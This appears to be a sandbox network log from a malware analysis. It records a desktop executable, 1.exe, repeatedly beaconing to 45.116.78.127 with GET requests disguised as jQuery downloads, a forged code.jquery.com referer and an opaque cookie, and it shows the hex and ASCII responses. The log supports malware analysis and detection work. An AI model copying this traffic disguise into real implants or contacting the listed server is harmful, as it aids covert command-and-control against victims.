2025-01-02 09:34:56 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:57 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:57 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:57 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49989	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:34:58 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:34:59 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:34:58 GMT Server: NetDNA-cache/2.2 Content-Length: 5628 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:34:59 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50003	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:00 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:01 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:00 GMT Server: NetDNA-cache/2.2 Content-Length: 5628 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:01 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50004	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:02 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:03 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:02 GMT Server: NetDNA-cache/2.2 Content-Length: 5671 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:03 UTC	5671	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50005	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:04 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:04 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:04 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:04 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50006	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:06 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:06 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:06 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:06 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50007	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:08 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:08 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:08 GMT Server: NetDNA-cache/2.2 Content-Length: 5628 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:08 UTC	5628	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50008	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:09 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:10 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:10 GMT Server: NetDNA-cache/2.2 Content-Length: 5649 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:10 UTC	5649	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50009	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:11 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:12 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:12 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:12 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50010	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:13 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:13 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:13 GMT Server: NetDNA-cache/2.2 Content-Length: 5692 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:13 UTC	5692	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50011	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 09:35:15 UTC	511	OUT	GET /jquery-3.3.1.min.js HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Referer: http://code.jquery.com/ Accept-Encoding: gzip, deflate Cookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5I User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko Host: 45.116.78.127 Connection: Keep-Alive Cache-Control: no-cache
2025-01-02 09:35:15 UTC	267	IN	HTTP/1.1 200 OK Date: Thu, 2 Jan 2025 09:35:15 GMT Server: NetDNA-cache/2.2 Content-Length: 5607 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
2025-01-02 09:35:15 UTC	5607	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50012	45.116.78.127	443	5540	C:\Users\user\Desktop\1.exe

Timestamp	Bytes transferred	Direction	Data
